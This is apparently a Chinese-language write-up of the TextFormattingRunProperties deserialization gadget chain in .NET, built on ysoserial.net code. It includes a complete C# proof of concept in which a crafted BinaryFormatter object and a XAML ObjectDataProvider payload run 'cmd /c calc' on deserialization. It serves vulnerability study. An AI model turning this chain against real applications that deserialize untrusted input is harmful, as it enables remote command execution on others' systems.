TextFormattingRunProperties 利用链
分析
反序列化时会自动调用与GetObjectData函数同样参数的构造函数。所以会走到这里。
TextFormattingRunProperties实现ISerializable接口,在其序列化的构造函数中,进行this.GetObjectFromSerializationInfo("ForegroundBrush", info)
GetObjectFromSerializationInfo
会从info里面获取ForegroundBrush
的值,然后
调用XamlReader.Parse(payload)
解析获取到的值。
使用XamlReader.Parse(payload)
结合前面的ObjectDataProvider的xaml_payload串联进行买了执行。可以来看看yso里面是怎么生存ObjectDataProvider的payload的
public static object TextFormattingRunPropertiesGadget(InputArgs inputArgs)
{
ObjectDataProviderGenerator myObjectDataProviderGenerator = new ObjectDataProviderGenerator();
string xaml_payload = myObjectDataProviderGenerator.GenerateWithNoTest("xaml", inputArgs).ToString();
if (inputArgs.Minify)
{
xaml_payload = XmlHelper.Minify(xaml_payload, null, null);
}
TextFormattingRunPropertiesMarshal payload = new TextFormattingRunPropertiesMarshal(xaml_payload);
return payload;
}
}
}
//生成
public override object Generate(string formatter, InputArgs inputArgs)
{
// NOTE: What is Xaml2? Xaml2 uses ResourceDictionary in addition to just using ObjectDataProvider as in Xaml
if (formatter.ToLower().Equals("xaml"))
{
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = inputArgs.CmdFileName;
if (inputArgs.HasArguments)
{
psi.Arguments = inputArgs.CmdArguments;
}
StringDictionary dict = new StringDictionary();
psi.GetType().GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(psi, dict);
Process p = new Process();
p.StartInfo = psi;
ObjectDataProvider odp = new ObjectDataProvider();
odp.MethodName = "Start";
odp.IsInitialLoadEnabled = false;
odp.ObjectInstance = p;
string payload = "";
if (variant_number == 2)
{
ResourceDictionary myResourceDictionary = new ResourceDictionary();
myResourceDictionary.Add("", odp);
// XAML serializer can also be exploited!
payload = SerializersHelper.Xaml_serialize(myResourceDictionary);
}
将构造的恶意的ObjectDataProvider
类实例化对象添加到ResourceDictionary对象中然后进行System.Windows.Markup.XamlWriter.Save
进行序列化。
最终的payload
using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using Microsoft.VisualStudio.Text.Formatting;
namespace BinaryFormatterSerialize
{
[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context)
{
}
string _xaml;
public void GetObjectData(SerializationInfo info, StreamingContext context)
{
Type typeTFRP = typeof(TextFormattingRunProperties);
info.SetType(typeTFRP);
info.AddValue("ForegroundBrush", _xaml);
}
public TextFormattingRunPropertiesMarshal(string xaml)
{
_xaml = xaml;
}
}
class Program
{
static void Main(string[] args)
{
//string xaml_payload = File.ReadAllText(@"C:\Users\sangfor\Desktop\ysoserial.net-master\ysoserial.net-master\TestConsoleApp\1.xml");
string payloadxml = "<?xml version=\"1.0\" encoding=\"utf-16\"?>\r\n<ObjectDataProvider MethodName=\"Start\" IsInitialLoadEnabled=\"False\" xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" xmlns:sd=\"clr-namespace:System.Diagnostics;assembly=System\" xmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\">\r\n <ObjectDataProvider.ObjectInstance>\r\n <sd:Process>\r\n <sd:Process.StartInfo>\r\n <sd:ProcessStartInfo Arguments=\"/c calc\" StandardErrorEncoding=\"{x:Null}\" StandardOutputEncoding=\"{x:Null}\" UserName=\"\" Password=\"{x:Null}\" Domain=\"\" LoadUserProfile=\"False\" FileName=\"cmd\" />\r\n </sd:Process.StartInfo>\r\n </sd:Process>\r\n </ObjectDataProvider.ObjectInstance>\r\n</ObjectDataProvider>";
TextFormattingRunPropertiesMarshal payload = new TextFormattingRunPropertiesMarshal(payloadxml);
MemoryStream memoryStream = new MemoryStream();
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Serialize(memoryStream, payload);
memoryStream.Position = 0;
binaryFormatter.Deserialize(memoryStream);
Console.ReadKey();
}
}
}
整体流程如下:
序列化:自己编写个类继承ISerializable,重写GetObjectData
方法,给ForegroundBrush
字段赋值为xaml的payload,并且将对象类型赋值为TextFormattingRunProperties
类
反序列化:在反序列化时触发反序列化构造函数GetObjectFromSerializationInfo
-> 获取设置的ForegroundBrush的值,调用XamlReader.Parse(payload)
进行命令执行
参考
https://www.freebuf.com/articles/network/351317.html
https://github.com/Y4er/dotnet-deserialization/blob/main/BinaryFormatter.md